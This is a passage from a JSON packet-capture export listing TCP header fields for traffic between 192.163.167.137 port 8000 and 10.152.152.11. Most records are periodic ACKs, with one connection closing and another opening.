\"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1232, \"timestamp\": 1782897312.953886, \"timestamp_iso\": \"2026-07-01T14:45:12.953886\", \"timestamp_human\": \"2026-07-01 14:45:12.953\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45108, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1234, \"timestamp\": 1782897313.954092, \"timestamp_iso\": \"2026-07-01T14:45:13.954092\", \"timestamp_human\": \"2026-07-01 14:45:13.954\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45109, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1236, \"timestamp\": 1782897314.969533, \"timestamp_iso\": \"2026-07-01T14:45:14.969533\", \"timestamp_human\": \"2026-07-01 14:45:14.969\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45110, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1238, \"timestamp\": 1782897315.969601, \"timestamp_iso\": \"2026-07-01T14:45:15.969601\", \"timestamp_human\": \"2026-07-01 14:45:15.969\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45111, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1240, \"timestamp\": 1782897316.969622, \"timestamp_iso\": \"2026-07-01T14:45:16.969622\", \"timestamp_human\": \"2026-07-01 14:45:16.969\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45112, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1242, \"timestamp\": 1782897317.96975, \"timestamp_iso\": \"2026-07-01T14:45:17.969750\", \"timestamp_human\": \"2026-07-01 14:45:17.969\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45113, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1244, \"timestamp\": 1782897318.969753, \"timestamp_iso\": \"2026-07-01T14:45:18.969753\", \"timestamp_human\": \"2026-07-01 14:45:18.969\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45114, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1246, \"timestamp\": 1782897319.9853, \"timestamp_iso\": \"2026-07-01T14:45:19.985300\", \"timestamp_human\": \"2026-07-01 14:45:19.985\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45115, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1248, \"timestamp\": 1782897321.000945, \"timestamp_iso\": \"2026-07-01T14:45:21.000945\", \"timestamp_human\": \"2026-07-01 14:45:21.000\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45116, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1250, \"timestamp\": 1782897322.016615, \"timestamp_iso\": \"2026-07-01T14:45:22.016615\", \"timestamp_human\": \"2026-07-01 14:45:22.016\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45117, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1252, \"timestamp\": 1782897323.032225, \"timestamp_iso\": \"2026-07-01T14:45:23.032225\", \"timestamp_human\": \"2026-07-01 14:45:23.032\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45118, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1254, \"timestamp\": 1782897323.940678, \"timestamp_iso\": \"2026-07-01T14:45:23.940678\", \"timestamp_human\": \"2026-07-01 14:45:23.940\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45119, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1256, \"timestamp\": 1782897324.95418, \"timestamp_iso\": \"2026-07-01T14:45:24.954180\", \"timestamp_human\": \"2026-07-01 14:45:24.954\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45120, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1258, \"timestamp\": 1782897325.954348, \"timestamp_iso\": \"2026-07-01T14:45:25.954348\", \"timestamp_human\": \"2026-07-01 14:45:25.954\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45121, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1260, \"timestamp\": 1782897326.969865, \"timestamp_iso\": \"2026-07-01T14:45:26.969865\", \"timestamp_human\": \"2026-07-01 14:45:26.969\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45122, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1262, \"timestamp\": 1782897327.985511, \"timestamp_iso\": \"2026-07-01T14:45:27.985511\", \"timestamp_human\": \"2026-07-01 14:45:27.985\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45123, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1264, \"timestamp\": 1782897329.001169, \"timestamp_iso\": \"2026-07-01T14:45:29.001169\", \"timestamp_human\": \"2026-07-01 14:45:29.001\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45124, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1266, \"timestamp\": 1782897330.016806, \"timestamp_iso\": \"2026-07-01T14:45:30.016806\", \"timestamp_human\": \"2026-07-01 14:45:30.016\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45125, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1268, \"timestamp\": 1782897331.032467, \"timestamp_iso\": \"2026-07-01T14:45:31.032467\", \"timestamp_human\": \"2026-07-01 14:45:31.032\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45126, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1270, \"timestamp\": 1782897332.048109, \"timestamp_iso\": \"2026-07-01T14:45:32.048109\", \"timestamp_human\": \"2026-07-01 14:45:32.048\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45127, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1272, \"timestamp\": 1782897333.063864, \"timestamp_iso\": \"2026-07-01T14:45:33.063864\", \"timestamp_human\": \"2026-07-01 14:45:33.063\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45128, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1274, \"timestamp\": 1782897334.079503, \"timestamp_iso\": \"2026-07-01T14:45:34.079503\", \"timestamp_human\": \"2026-07-01 14:45:34.079\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45129, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1276, \"timestamp\": 1782897335.09509, \"timestamp_iso\": \"2026-07-01T14:45:35.095090\", \"timestamp_human\": \"2026-07-01 14:45:35.095\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45130, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1278, \"timestamp\": 1782897336.095123, \"timestamp_iso\": \"2026-07-01T14:45:36.095123\", \"timestamp_human\": \"2026-07-01 14:45:36.095\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45131, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1280, \"timestamp\": 1782897337.110776, \"timestamp_iso\": \"2026-07-01T14:45:37.110776\", \"timestamp_human\": \"2026-07-01 14:45:37.110\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45132, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1282, \"timestamp\": 1782897338.11106, \"timestamp_iso\": \"2026-07-01T14:45:38.111060\", \"timestamp_human\": \"2026-07-01 14:45:38.111\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45133, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1283, \"timestamp\": 1782897338.804122, \"timestamp_iso\": \"2026-07-01T14:45:38.804122\", \"timestamp_human\": \"2026-07-01 14:45:38.804\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45134, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548674, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 1286, \"timestamp\": 1782897338.804833, \"timestamp_iso\": \"2026-07-01T14:45:38.804833\", \"timestamp_human\": \"2026-07-01 14:45:38.804\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171292, \"tcp_ack\": 132548675, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1288, \"timestamp\": 1782897342.832079, \"timestamp_iso\": \"2026-07-01T14:45:42.832079\", \"timestamp_human\": \"2026-07-01 14:45:42.832\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110022, \"tcp_ack\": 3063512822, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 1291, \"timestamp\": 1782897342.847289, \"timestamp_iso\": \"2026-07-01T14:45:42.847289\", \"timestamp_human\": \"2026-07-01 14:45:42.847\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10346, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1293, \"timestamp\": 1782897343.86085, \"timestamp_iso\": \"2026-07-01T14:45:43.860850\", \"timestamp_human\": \"2026-07-01 14:45:43.860\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10347, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1295, \"timestamp\": 1782897344.876577, \"timestamp_iso\": \"2026-07-01T14:45:44.876577\", \"timestamp_human\": \"2026-07-01 14:45:44.876\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10348, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1297, \"timestamp\": 1782897345.892177, \"timestamp_iso\": \"2026-07-01T14:45:45.892177\", \"timestamp_human\": \"2026-07-01 14:45:45.892\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10349, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1299, \"timestamp\": 1782897346.907877, \"timestamp_iso\": \"2026-07-01T14:45:46.907877\", \"timestamp_human\": \"2026-07-01 14:45:46.907\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10350, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1301, \"timestamp\": 1782897347.923548, \"timestamp_iso\": \"2026-07-01T14:45:47.923548\", \"timestamp_human\": \"2026-07-01 14:45:47.923\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10351, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1303, \"timestamp\": 1782897348.923576, \"timestamp_iso\": \"2026-07-01T14:45:48.923576\", \"timestamp_human\": \"2026-07-01 14:45:48.923\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": 